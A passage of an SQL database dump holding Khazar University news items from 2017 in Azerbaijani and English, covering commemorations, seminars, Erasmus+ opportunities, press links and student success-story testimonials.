informed about the Khojaly\r\ntragedy, and Nasiman Yagublu presented his book <em>Khojaly Massacre</em>. </p>\r\n<p>During the event, Seyidaga Movsumlu, eyewitness to\r\nthe tragedy, shared his memories with\r\nparticipants; his short film about the tragedy was shown. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:22.3pt;line-height:normal;background:white\"\"=\"\">At the end of the event, Isakhan Isakhanli,\r\nVice-Rector for Adminitration and Student Affairs, made a speech.&nbsp;</p>'),(3285,1924,'en','“World Civil Defence Day” event to be held at Khazar University','On Febryary 28, 2017 at 2 p.m., Khazar University will hold an event to mark the World Civil Defence...','<p>On\r\nFebryary 28, 2017 at 2 p.m., Khazar University will hold an event to mark the\r\nWorld Civil Defence Day (March 1). The event will be held in room 206 on the\r\nNeftchilar Campus. </p>\r\n<p>The\r\nevent is open to the public.&nbsp;</p>'),(3281,1929,'en','Erasmus+ Programme: Opportunities for Academic Staff at Kastamonu University (Turkey)','Mobility opportunities for academic staff members of Khazar University are available at Kastamonu University...','<p>Mobility\r\nopportunities for academic staff members of Khazar University are available at\r\nKastamonu University. Staff members from all departments/units are eligible to\r\napply, however, priority will be given to: Biology,&nbsp; Microbiology,&nbsp;\r\nEnvironmental&nbsp;Sciences, Geography,&nbsp; and Mathematics.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">To\r\napply fill out the&nbsp;<a href=\"http://www.khazar.org/files/image/untitled%20folder/Work%20Plan%20Proposal%20Khazar.docx\">Work Plan</a>&nbsp;and send it along with your CV/resume to&nbsp;<a href=\"mailto:international@khazar.org\">international@khazar.org</a></p>\r\n<p>Deadline:\r\nMarch 2, 2017 – 5pm (17:00)&nbsp;</p>'),(3282,1930,'az','Akademik Ziya Bünyadova həsr olunmuş açıq dərs','2017-ci il fevralın 23-də Xəzər Universiteti Tarix və arxeologiya departamentinin müdiri Roza Arazova tələbələr üçün tanınmış şərqşünas alim, Sovet İttifaqı Qəhrəmanı...','<p>2017-ci il fevralın 23-də\r\nXəzər Universiteti Tarix və arxeologiya departamentinin müdiri Roza Arazova tələbələr\r\nüçün tanınmış şərqşünas alim, Sovet İttifaqı Qəhrəmanı akademik Ziya Bünyadovun\r\nxatirəsinə həsr edilmiş açıq dərs keçirdi. Tədbirdə Təhsil fakültəsinin&nbsp;tələbəsi\r\nNizami Əlisoy Ziya Bünyadovun həyatı və elmi fəaliyyəti haqqında təqdimat etdi.</p>\r\n<p>Daha sonra AMEA\r\nZ.M.Bünyadov adına Şərqşünaslıq İnstitutunun Ərəb ölkələri tarixi şöbəsinin\r\nmüdiri Fərda Əsədov akademik Ziya Bünyadovun dünyada elmi nüfuzu və şöhrəti\r\nhaqqında danışdı.&nbsp;</p>'),(3283,1930,'en','Public Event dedicated to Academician Ziya Bunyadov','On February 23, 2017, Roza Arazova, Head of Khazar University Department of History and Archelogy, held an open lecture in commemoration of the 20th anniversary of academician...','<p>On February 23, 2017,\r\nRoza Arazova, Head of Khazar University Department of History and Archelogy,\r\nheld an open lecture in commemoration of the 20th anniversary of academician\r\nZiya Bunyadov’s death. At the event, Nizami Alisoy, student of the School of Education,\r\nmade a presentation on Ziya Bunyadov’s life and academic career. </p>\r\n<p>Farda Asadov, Head of the\r\nDepartment of History of Arab Countries of the Ziya Bunyadov Oriental Studies\r\nInstitute of Azerbaijan National Academy of Sciences, also made a speech in which\r\nhe spoke about Ziya Bunyadov’s international fame.&nbsp;</p>'),(3284,1929,'az','Earsmus+ Proqramı: Kastamonu Universitetində (Türkiyə) akademik heyət üçün mobillik imkanları','Kastamonu Universitetində Xəzər Universitetinin akademik işçi heyəti üçün mobillik...','<p>Kastamonu Universitetində Xəzər Universitetinin akademik işçi heyəti üçün mobillik imkanları mövcuddur. Bütün departamentlərin işçiləri müraciət edə bilər. Bu departamentlərin əməkdaşlarına üstünlük verilir: biologiya, mikrobiologiya, coğrafiya və ətraf mühit, riyaziyyat.</p><p>Müraciət etmək üçün&nbsp;<a href=\"http://www.khazar.org/files/image/untitled%20folder/Work%20Plan%20Proposal%20Khazar.docx\">“Work Plan”</a>&nbsp;adlı sənədi doldurub CV-niz ilə birgə&nbsp;<a href=\"mailto:international@khazar.org\"><strong>international@khazar.org</strong></a>&nbsp; ünvanına göndərməyiniz xahiş olunur.</p><p>Müraciət üçün son tarix:&nbsp;<strong>02 mart 2017-ci il, saat 17:00</strong>-dır.</p>'),(3286,1931,'az','Karyera Mərkəzi “Təcrübə proqramlarının karyera irəliləyişində faydası” adlı seminar keçirdi','2017-ci il fevralın 24-də Xəzər Universitetində Karyera Mərkəzinin təşkil etdiyi “Təcrübə proqramlarının karyera irəliləyişində faydası” adlı seminar keçirildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil fevralın\r\n24-də Xəzər\r\nUniversitetində Karyera Mərkəzinin təşkil etdiyi “Təcrübə proqramlarının\r\nkaryera irəliləyişində faydası” adlı seminar keçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Seminarda\r\nəsas məruzəçi kimi çıxış edən Rəşad Bağırov 3-cü və 4-cü kurs tələbələrinə təcrübə\r\nproqramlarının axtarışı, vacibliyi və effektiv keçməsi yolları haqqında məlumat\r\nverdi.</p>'),(3570,2046,'az',' “Tələbə- Ali təhsilin idarəetməsində və keyfiyyət təminatında tərəfdaş kimi” mövzusunda seminar','Xəzər Universitetinin İnkişaf Mərkəzinin Direktoru Raziyə İsayeva   Ali Təhsil Siyasəti İslahatlarında  Tələbələrin rolu ilə bağlı HERE Seminarında iştirak edib....','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Almatı, Qazaxıstan</p>\r\n<p>Xəzər\r\nUniversitetinin İnkişaf Mərkəzinin Direktoru Raziyə İsayeva&nbsp;&nbsp; Ali Təhsil Siyasəti İslahatlarında&nbsp; Tələbələrin rolu ilə bağlı HERE Seminarında iştirak edib. Seminarda tələbələrin\r\nali təhsilin idarəsi və keyfiyyətinin təmin olunmasında iştirakı məsələsi\r\nmüzakirə olunub. Seminarın əsas məruzəçiləri Avropa Tələbələr Birliyinin (ATB)\r\nnümayəndəsi &nbsp;Fernando Galan, İrlandiyada\r\nTələbənin İştirakı ilə bağlı Tədqiqat Layihəsinin rəhbəri, Sean O\'Reilly,\r\nFinlandiyada Universitet Tələbələrinin Milli Birliyinin idarə heyətinin üzvü,\r\nJyri Lahdesmaa, SPARQS-ın direktoru Eve Lewis, İzrail Tələbə Birliyinin nümayəndəsi\r\nMayaan Hagage oldular.&nbsp; </p>\r\n<p>Seminarda 27 müxtəlif\r\nölkədən olan iştirakçılar ayrı- ayrı mövzular üzrə müzakirələrə cəlb olundular.\r\nBirinci mövzu tələbələrin universitetin idarəsində iştirakı, ikinci keyfiyyətin\r\ntəminatında tələbələrin rolu, üçüncü isə ələbələr milli islahat prosesində idi.\r\nMüzakirələrdə iştirakçılar mövzu ilə bağlı ideyalarını irəli sürdülər və sonda\r\niştirakçıların milli, institusional və individual səviyyələrdə vəziyyətin\r\nyaxşılaşdırılması ilə bağlı tövsiyyələri səsləndirildi</p>\r\n<p>&nbsp;Seminar 5-6 Aprel 2017-ci ildə Qazaxıstanın\r\nAlmatı şəhərində NARXOZ Universitetində keçirildi. Seminar müxtəlif regionlar\r\ndaxilində əməkdaşlıq, təlim və inkişaf proqramları ilə bağlı bir çox yeni\r\nfikirlərin səsləndirilməsi ilə başa çatdı.</p>'),(3287,1931,'en','“Benefits of Internship Programs in Career Development” seminar at Khazar University','On February 24, 2017 Khazar University Career Center held a seminar entitled “Benefits of Internship Programs in Career Development”. The guest speaker of the seminar...','<p>On February 24, 2017 Khazar University Career Center held a seminar\r\nentitled “Benefits of Internship Programs in Career Development”. The guest\r\nspeaker of the seminar was Rashad Baghirov; he gave a talk about the importance\r\nof post-graduation internships and development of transferable skills. He gave\r\ntips about internship search tools and ways to insure a successful internship\r\nexperience.&nbsp;</p>'),(3288,1932,'az','Professor Hamlet İsaxanlı Lent.az-a mesahibə verdi','Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı lent.az-a müsahibə vermişdir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı <strong><em>lent.az</em></strong>-a müsahibə vermişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Müsahibəni\r\nbu liklər vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://news.lent.az/news/268419\">http://news.lent.az/news/268419</a>; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://yenizaman.az/v5/w61692/.../\">http://yenizaman.az/v5/w61692/.../</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://gunxeber.com/m%c9%99ni-masina-qoyub-apardilar-rektordan-sensasiyali-aciqlama/#Kalibri\">http://gunxeber.com/məni-masina-qoyub-apardilar-rektordan-sensasiyali-aciqlama/;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://gunxeber.com/m%c9%99ni-masina-qoyub-apardilar-rektordan-sensasiyali-aciqlama/#Kalibri\">http://www.azertaym.az/sosial/20772-men-mashna-qoyub-apardlar-.html.&nbsp;</a></p>'),(3289,1932,'en','Hamlet Isaxanli’s Interview to Lent.az','Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, gave an interview to the lent.az news site. His interview is available...','<p>Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, gave an interview to the lent.az news site. </p>\r\n<p>His\r\ninterview is available at the following links:</p>\r\n<p><a href=\"http://news.lent.az/news/268419\">http://news.lent.az/news/268419</a>; </p>\r\n<p><a href=\"http://yenizaman.az/v5/w61692/.../\">http://yenizaman.az/v5/w61692/.../</a>;</p>\r\n<p><a href=\"http://gunxeber.com/məni-masina-qoyub-apardilar-rektordan-sensasiyali-aciqlama/;%0d%20%20%20%20%20%20http:/www.azertaym.az/sosial/20772-men-mashna-qoyub-apardlar-.html.%20\">http://gunxeber.com/məni-masina-qoyub-apardilar-rektordan-sensasiyali-aciqlama/;</a></p>\r\n<p><a href=\"http://gunxeber.com/məni-masina-qoyub-apardilar-rektordan-sensasiyali-aciqlama/;%0d%20%20%20%20%20%20http:/www.azertaym.az/sosial/20772-men-mashna-qoyub-apardlar-.html.%20\">http://www.azertaym.az/sosial/20772-men-mashna-qoyub-apardlar-.html. </a>&nbsp;</p>'),(3290,1933,'az','“Hamlet İsaxanlı – riyaziyyatçı, filosof, şair…”','2017-ci il fevralın 26-da Kaspiy.az xəbər saytında Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı haqqında “Xəyallar gerçək olur”...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il fevralın 26-da <strong><em>Kaspiy.az</em></strong>\r\nxəbər saytında Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı haqqında “Xəyallar gerçək olur” (Məqalə\r\nruscadır: “<em>Мечта, ставшая явью</em>”) adlı\r\nməqalə yayınlanmışdır. Məqalənin müəllifi Azərbaycanın əməkdar jurnalisti\r\nElmira Əliyevadır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Məqaləni bütöv şəkildə bu link vasitəsilə\r\noxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://kaspiy.az/news.php?id=55900\">http://kaspiy.az/news.php?id=55900</a>.</p>'),(3291,1933,'en','“Hamlet Isaxanli – mathematician, philosopher, poet…”','On February 26, 2017, the Kaspiy news site ran a story in Russian entitled “Dreams Come True” (“Мечта, ставшая явью”) about Prof. Hamlet Isaxanli, the founder of Khazar University...','<p>On February 26, 2017, the Kaspiy news\r\nsite ran a story in Russian entitled “Dreams\r\nCome True” (“Мечта,\r\nставшая явью”) about Prof. Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees. The author of the article is\r\nElmira Aliyeva, honored journalist of Azerbaijan. </p>\r\n<p>The article is\r\navailable at the following link:</p>\r\n<p><a href=\"http://kaspiy.az/news.php?id=55900\">http://kaspiy.az/news.php?id=55900</a>.&nbsp;</p>'),(3292,1934,'az','Budəfəki “Xocalı-Gədəbəy mədəniyyəti” dərsi Xocalı soyqırımına həsr olundu','2017-ci il fevralın 25-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Nuridə Atəşinin tədris etdiyi “Qafqaz arxeologiyasının tarixi: maddi-mədəni irs...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">2017-ci il fevralın 25-də Xəzər Universiteti Tarix\r\nvə arxeologiya departamentinin müəllimi Nuridə Atəşinin tədris etdiyi “Qafqaz\r\narxeologiyasının tarixi: maddi-mədəni irs və Xocalı-Gədəbəy mədəniyyəti ma­te­rialları\r\nAvropa muzeylərində” dərsi Xocalı soyqırımına həsr edilmişdi.<strong> </strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təhsil fakültəsi tarix muəllimliyi ixtisasının tələbələri Xocalı soy­qırımının&nbsp; törədilməsi, onun səbəbləri, yol açdığı acı nəticələri\r\nmü­zakirə etdilər. İlahə Yusifli, Aysel Mənsimova, Aytən\r\nBabayeva &nbsp;və Şəhriyar Kərimov\r\nXocalı faciəsi haqqında, onun beynəlxalq səviyyədə tanınması, təbliği yo­lunda\r\ndövlətin apardığı siyasətdən söhbət açdılar. Yusif Əh­mə­dov, Aytən Babayeva, Samid Axundov və başqaları işğal olunmuş rayonlar haqqında valideynlərindən,\r\nnənə və ba­balarından eşitdikləri hadisələri xatırladılar.</p>'),(3293,1935,'az','Tələbəmiz  Avropa çempionu oldu','2017-ci il fevralın 17-24-də Polşanın Lutsk şəhərində sanda idman növü üzrə Avropa kuboku uğrunda yarışlar keçirilmişdir. Humanitar və sosial elmlər fakültəsinin üçüncü kurs...','<p>2017-ci il fevralın 17-24-də Polşanın Lutsk şəhərində\r\nsanda idman növü üzrə Avropa kuboku uğrunda yarışlar keçirilmişdir. Humanitar və\r\nsosial elmlər fakültəsinin üçüncü kurs tələbəsi Firudin Həsənov (tərcümə ixtisası)\r\nhəmin yarışlarda iştirak edərək, öz çəki dərəcəsində (85 kq) turnirin qalibi\r\nolmuşdur. Qeyd edək ki, bu, Firudinin növbəti qələbəsidir. O, beş dəfə Azərbaycan\r\nçempionu olmuş, 2013-cü ildə Bolqarıstanın Sofiya şəhərində keçirilmiş beynəlxalq\r\nturnirdə Avropa çempionu, 2015-ci ildə Bakıda təşkil olunmuş yarışlarda\r\nAvrasiya çempionu titullarını qazanmış, 2016-cı ildə Ukraynanın Xarkov şəhərində\r\nkeçirilmiş dünya çempionatında ikinci yeri tutmuşdur.</p>\r\n<p>On yeddi ölkə idmançılarının qatıldığı Lutsk\r\nturnirində Azərbaycanı Firudindən başqa daha doqquz idmançı təmsil etmişdir.\r\nOnlar da vətənə qələbə ilə qayıtmışlar: altı idmançımız öz çəki dərəcələrində\r\nAvropa kubokunu qazanmış, üç idmançımız ikinci yeri tutmuşdur.</p>\r\n<p>Qalibləri təbrik edirik.</p>'),(3294,1936,'az','İqtisadiyyat və menecment  fakültəsinin tələbələri üçün ustad dərsi','2017-ci il fevralın 25-də Xəzər Universitetinin Məzunlar Assosiasiyası və Məzunlarla İş Mərkəzi universitetin İqtisadiyyat və menecment fakültəsinin tələbələri üçün...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil fevralın 25-də Xəzər Universitetinin Məzunlar Assosiasiyası və Məzunlarla İş\r\nMərkəzi universitetin İqtisadiyyat və menecment fakültəsinin tələbələri üçün “Bank\r\nrisklərinin idarə olunması” mövzusunda ustad dərsi təşkil etdi. Məzunlarla İş Mərkəzinin\r\nmüdiri Baba Bayramlı iştirakçıları salamladı və aktual mövzuda belə bir dərsin\r\nkeçirilməsinin əhəmiyyətini vurğuladı. Tədbirin əvvəlində Məzunlar\r\nAssosiasiyasının prezidenti, “Bank of Baku” ASC İdarə Heyətinin sədri Eldar Həmidov\r\nassosiasiyanın devizi və loqosu barədə iştirakçılara məlumat verdi. Daha sonra\r\nisə Xəzər Universitetinin məzunları – “Dəmir Bank” ASC-nin şöbə müdiri Ramal\r\nƏhmədov və “Bank of Baku” ASC-nin əməkdaşı Nigar Cabbarova “Bank riskləri və\r\nonların idarə olunması” mövzusunda çıxış etdilər. İqtisadiyyat və menecment\r\nfakültəsinin müəllimi Elvin Mirzəyevin də fəal iştirak etdiyi dərs müzakirə şəraitində\r\nkeçdi.</p>'),(3295,1937,'az','Xəzər Universitetində “Keyfiyyət menecmenti” mövzusunda ustad dərsi keçiriləcək','2017-ci il martın 1-i saat 10:10-da Xəzər Universiteti Karyera İnkişaf Mərkəzi və İqtisadiyyat...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il martın 1-i saat 10:10-da Xəzər Universiteti Karyera\r\nİnkişaf Mərkəzi və İqtisadiyyat və menecment departamentinin birgə təşkilatçılığı\r\nilə universitetin “Neftçilər” korpusunda (otaq 302N) “Keyfiyyət menecmenti”\r\nmövzusunda ustad dərsi keçiriləcək. “ALMA Consulting and İnvestment” MMC şirkəti\r\ntərəfindən keçiləcək ustad dərsi məhsulun və xidmətin keyfiyyəti ilə əlaqədar\r\ndeyil, birbaşa idarəetmə sisteminin keyfiyyəti haqqında olacaq. Tələbələrə\r\nqüsurları azaltmaq, aradan qaldırmaq və yarana biləcək nöqsanların qarşısını\r\nalmaq üçün dünyada qəbul olunmuş menecment standardları haqqında məlumat veriləcək.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Maraqlananlar dəvət olunurlar.</p>'),(3330,1956,'en','Success Stories','Success Stories','<h2>Tarlan Ganbarova</h2><p>I am a second-year student of the master program in Clinical Psychology at Khazar University. Now I am working at the Modern Psychology Center. Last year I got a scholarship from Erasmus Mundus program as an exchange student. I lived in Poland for 10 months. It was a amazing and unforgettable experience for me. I am thankful to the Career Development Center coordinator, Ulvia Huseynli. She helped me in each step of the application process. I learned how to prepare an effective motivation letter and CV. Finally, I would like to say that you can do everything you want. Just take all of your dreams with you every moment of your life and work hard.&nbsp;</p><p>&nbsp;</p><h2>Gunay Ismayilova</h2><p>Volunteer, Azerbaijan Industrial Insurance company</p><p>I am Gunay Ismayilova, 2015 graduate of Khazar University’s Department of Psychology. Now I\'m a second-year master student at Khazar University. I was a volunteer at the International Psychologists’ Conference which was organized by the Career Development Center of Khazar University. It helped me to improve my work experience. For this, I thank Ulviyya Huseynova. I think Khazar University helps students become smarter, more modern, to develop a bigger worldview and to network with great people.</p><p>I was introduced to Azersun Holding’s program at the Career Fair which was organized by the Career Center of Khazar University. I think Azersun Holding is an excellent opportunity for young people making their first steps toward a career. First I sent my CV to Azersun Holding and I was sure that they would invite me to an interview. Then they invited me to interview for Azersun Academy. After the first interview, they invited me to Azerbaijan Industrial Insurance for the next level. At the end of this level, I was invited to work at AII, in the Human Resources department. For me, the most important step in my career experience was in the Human Resources department at AII.</p><p>I want to thank Emil Agarzayev for sharing his knowledge and experience with me. Really, it was an excellent experience for me to start my career. My internship was 3 months, working full time 5 days a week.</p><p>I would also like to thank Hamlet İsaxanli, the Dean of the School of Humanities and Social Sciences Jabir Khalilov, and my all teachers, especially Ulkar Isayeva and Malak Kerimova. I am very happy that I am a student at Khazar University.&nbsp;</p><p>Finally, thank you, Khazar University. And good luck to all students with their careers.</p><p>&nbsp;</p><h2>Dinara Khujatova</h2><p>BBA in Finance, Graduate. Job: Administrative Assistant at Caspian Investment and Development Corporation</p><p>As I approach the end of my bachelor education and consider my future goals, I feel strongly that being an alumna of Khazar University is an important step towards achieving my career goals. The job that Khazar Career Center offered at Caspian Investment and Development Corporation was a perfect for building up aptitudes and setting me up for an administrative part in an international company. CIDC’s approach helps me develop my basic skills and well-trained managerial instincts and in this way widen my comprehension to an international scale.</p><p>Within 4 years I have built a broad foundation of knowledge in areas including accounting, management, HRM, investment management and other business fields. During the BBA in Finance program at Khazar University, we had a lot of projects; it was particularly fulfilling. We have learned various approaches and deeper insights into management. Having a strong background from my bachelor degree, I’ve been accepted to the MBA program and will continue my education further.</p><p>Thank you, Khazar University!</p><p>&nbsp;</p><h2>Celal Huseynbeyli</h2><p>Political Science.Internship: Bakcell’s “Smart Start” program</p><p>I was introduced to Bakcell’s “Smart Start” program at the Career Fair which was organized by the Career Center of Khazar University. Bakcell’s “Smart Start” program is an excellent opportunity for young persons making their first steps toward a career.</p><p>First I filled out an application form and I felt sure that I would be invited. After the first group interview I wasn’t sure that I would pass to the next level, because I thought that it was not a good interview for me, but among the 1500 requests, at the end of the third level I was invited to work at the “Corporate Sales” department in Bakcell’s Smart Start program.&nbsp;</p><p>I made the first step on my career path. I can proudly say that it was an excellent experience. The duration of the internship is 2 months, with 5 full working days a week. During the two-month internship program, the participants got acquainted with the state-of-the-art business environment at Bakcell. I have obtained valuable knowledge and skills during the internship program, such as communication with big companies and business ethics.&nbsp;</p><p>Bakcell provides the interns with a relevant stipend to cover their daily meal and travel expenses during this period. Upon completion of the internship program, all the participants are evaluated and granted certificates proving their participation in the project.</p><p>&nbsp;</p><h2>Shamil Ismayilov</h2><p>Translator, Student, Job: \"Hertel\" company.</p><p>I\'m a second-year student at Khazar University. My GPA was 81 last year.</p><p>I was a volunteer in the Baku2015 Games and was met with gratitude from BEGOC. The Career Development Center of Khazar University became my chance to get further work experience. First of all Ulviyya Huseynova taught me to make a proper CV, then she helped me to get into my first work experience. Words are not enough to convey my feelings of thanks to our university, the Career Development Center and especially to Ulviyya Huseynova. When I graduated from school I wanted to become a great translator.</p><p>I get 438 points for the SSAC exam. I knew that Khazar University is the most hardworking university in Azerbaijan. I heard that here people become smarter,</p><p>more modern and very well-rounded. Now I\'m here and I\'m getting ready for my life.</p><p>Thank you, Khazar University.</p><p>&nbsp;</p><h2>Khadija Ashurova</h2><p>Psychology, Student, Job: \"ParaBank\" OJSC in the Human Resources department</p><p>I am Khadija Ashurova, alumni of Khazar University psychology faculty in 2015. Currently, I am getting job experience at \"ParaBank\" OJSC in the Human Resources department. I received my education in English, I got dean’s honor lists, IELTS certificate, honorary diploma with 88 GPA and the most important thing I got my first job experience in the Human Resources department at Khazar University. All of these things help me to obtain my work. I want to mention that the most valuable part of our university was Career Center. In the career center we learned how created effective CV, how attended in interviews, and also Career Center gave us the opportunity to share our CVs with famous companies. For all important things prepared by Ulviyya Huseynova. I want to present my sincere thanks to her.</p><p>Khazar University helps me to get the new worldview, to know many best people. First of all, when I entered university, I was a bad approach because it is a private university and therefore I was a little embarrassed, but after few months I understood that education of Khazar university best of all. Many teachers taught me which they had mastered, doctorate degrees various parts of the world. Therefore I suggest all students of Khazar university that never embarrassed...</p><p>At the end I want to present my own thanks to Hamlet Isakhanli, Ulkar Isayeva, dean of Humanities and Social Sciences department Jabir Khalilov and vice-dean Malak Kerimova. I thank teachers, for sharing their knowledge, experience with us. I am very happy, I graduated Khazar University.</p><p>&nbsp;</p><h2>Fidan Rustamova</h2><p>Petroleum Engineering: designer and manager of NoObs team</p><p>I am a third-year student at Khazar University. During these years I have gained a lot of knowledge and made friends. The experience was and still is way more interesting and educating than I would have ever imagined. This year, in 2015, I got a chance to be a part of an exciting project by becoming the designer for the NoObs team. Although designing has little to do with petroleum engineering, it was an outlet for me to express my creativity.</p><p>NoObs is a team of students with common interests and worldviews who bring to life projects that aim to show the benefits of new technologies. Consisting of only 4 students from 2 universities, this ambitious team just started working together earlier this year but has already accomplished much.</p><p>Their journey started off with the challenge of creating an innovative product to present in an “Imagine Cup” competition held by Microsoft Company. Despite the limited couple of weeks that they had, after sleepless nights and lots of hard work, they met all the deadlines. The NoObs came up with the Spinal project which is about to be presented in the Imagine Cup World Final in July.</p><p>The team is currently working on many other exciting and techy projects, hoping to continue creating lots of valuable products.</p><p>I am very thrilled with what we’ve done so far and I know that this is just the beginning.</p><p>To all students out there I’d like to say: Work hard, it all pays off.</p><p>&nbsp;</p><h2>Tunzale Talibli</h2><p>Psychology, Student, Job: Logos Child Speech Development Center</p><p>I am Tunzale Talibli, the fourth-year student at Khazar University. My major is psychology. I have chosen to focus on child psychology. In this specialty, it is important to have practical experience in communicating with children. For this reason, I brought my CV to the Career Center, which Khazar University created to help students begin their careers. After two months, Ulviyya Huseynova called me for an interview. Now I have been working as a trainee beside head psychologist Anara Bakshaliyeva at Logos Child Speech Development Center for three weeks. Thanks for all the help, Ulviyya Huseynova.</p><p>&nbsp;</p><h2>Aysel Guluyeva</h2><p>Business Administration Student. Internship: FireWorks Human Resources Management</p><p>The biggest challenge for me after defining the goal of my life has become time management. As many of us know, there are too many interesting training, business forums, volunteer projects, internship programs, etc. We want to prosper everywhere and we usually encounter some difficulties in coping with our daily plan.</p><p>In my point of view, to prosper in life one should definitely know what he or she wants and after that how to gain it. The key elements for success are: thinking positively, not being afraid of possible failures, but drawing lessons from them, and prioritizing our tasks.</p><p>This strategy helped me to earn a place in several Dean’s Honor Lists. Furthermore, I took the second place in President Elections for the Student Union (“SU”), and automatically became the Vice-President on December 5, 2013. I have made lots of friends during this period. A few really interesting events have been organized by SU. Some examples are Flower Holiday play; Fundraising Bake Sale; Promotion of Education in the USA, where gifts were given to participants; Challenge Point Intellectual Game; Painting Exhibition, and so forth. In addition, within the last summer holidays, I passed all the stages of the Youth Business Leadership Project provided by Junior Achievement Azerbaijan and gained valuable job experience working as an intern in such an ambitious company as FireWorks HRM.</p><p>Taking the abovementioned into account, I want to thank our instructors for their contributions to our professional background and motivating us toward better performance, as well as the Career Center for their continuous help to students by providing training, career fairs, and recruitment.</p><p>&nbsp;</p><h2>Nargiz Ahmadova</h2><p>Philology Student. Job: Manager’s Assistant, Khazar Film and Animation School</p><p>I entered Khazar University in 2012. During this period, I succeeded in many goals of mine. I used to take part in organizing many events even in my first year at the university. Furthermore, I put forth my nomination to be president of the Student Union of Khazar University. Consequently, I am currently the president of the SU. Beyond that, I applied to the Career Center of Khazar University and took the opportunities created by Ulviyya Huseynova, the chief officer of the Career Center. I worked as a teacher, which exactly met the terms of my major. However, I am a \'go-getter\' student, and I see my future in different spheres. According to my management ability, I was offered a position at Khazar Film and Animation School as a manager. In a nutshell, I am very happy about my accomplishments and skills which I obtained at Khazar University.</p><p>&nbsp;</p><h2>Tarlan Qanbarova</h2><p>Psychology Student. Job: Intern at Ministry of Emergency Situations</p><p>My name is Tarlan Qanbarova. My profession is psychology. I was a fourth-year student and I couldn’t find any internship programs for my profession. The Career Center helped me to find the best three-month internship program in the Ministry of Emergency Situations. I obtained a lot of experience in my field. I learned about the psychology of rescuers and victims in emergency situations. Everything was very interesting and unforgettable for me. I am thankful to the Career Center coordinator, Ulvia Huseynli. Good luck to all students with their careers.</p><p><br></p><h2>Elnur Badalov</h2><p>Finance, Student, Job: Intern, Damir Bank Open Joint-Stock Company</p><p>When I pursued my studies at Khazar University in 2012, I sensed there would be great opportunities waiting for me. As an ordinary high school student, I did not have detailed information on my dreams and my plans when I passed the entrance exam for the university. Indeed, there were bulky opportunities to take and to get progress, but the majority of students cannot realize and take them with me, at first. However, the main differentiated points to be a highly demanded employee are represented in some terms that we have in our university, indeed. Firstly, we have a great, non-stop working and tireless Career Development Center with its assertive chairperson Mrs. Ulviyya Huseynova. Moreover, we have a great audience, which consists of people who we can easily assemble, discuss and learn the ways of self-development. For me, as one of the leading student of Khazar University Economics and management faculty, the best way to make your dreams come true is studying hard. By this way, the ones will recognize the spark in your own, which makes you differ from the others. Moreover, we should realize our inherent qualities and step the future with being familiar with them. Then you will tell decently: “Make it happen! Where I was at first, and where I am now!” Eventually, I am in the Finance Department of Demir Bank currently as an intern, even if I am passing through the third course. I applied there for both the online application and the face-to-face contact in the job fair, which was held by Career Development Center at Khazar University. Consequently, I took an exam and successfully passed it. Furthermore, it was followed by an interview panel (+group interview), and the chairperson of Finance Department chose me and my other 4 counterparts for these internship positions… It was interesting that I heard we were chosen among 360 applicants when I started the internship! In walnut-shell, I accomplished my first goal – started my career by studying hard, by not giving up and making valuable friendships! Follow your dreams which are realizable and make them happen!</p><p>&nbsp;</p><h2>Nurana Guluzadeh</h2><p>English Teaching, Student, Job: Assistant, Fireworks Azerbaijan</p><p>My name is Nurana Guluzadeh. I’m 18. I have been training for this event. I liked the FireWorks Company, and then I heard they needed an assistant. I applied there. I gave an interview. I was chosen by them along with the other girls and we were told that after 3 weeks they will choose the best of us. That job is to my liking.</p><p><br></p><h2>Anar 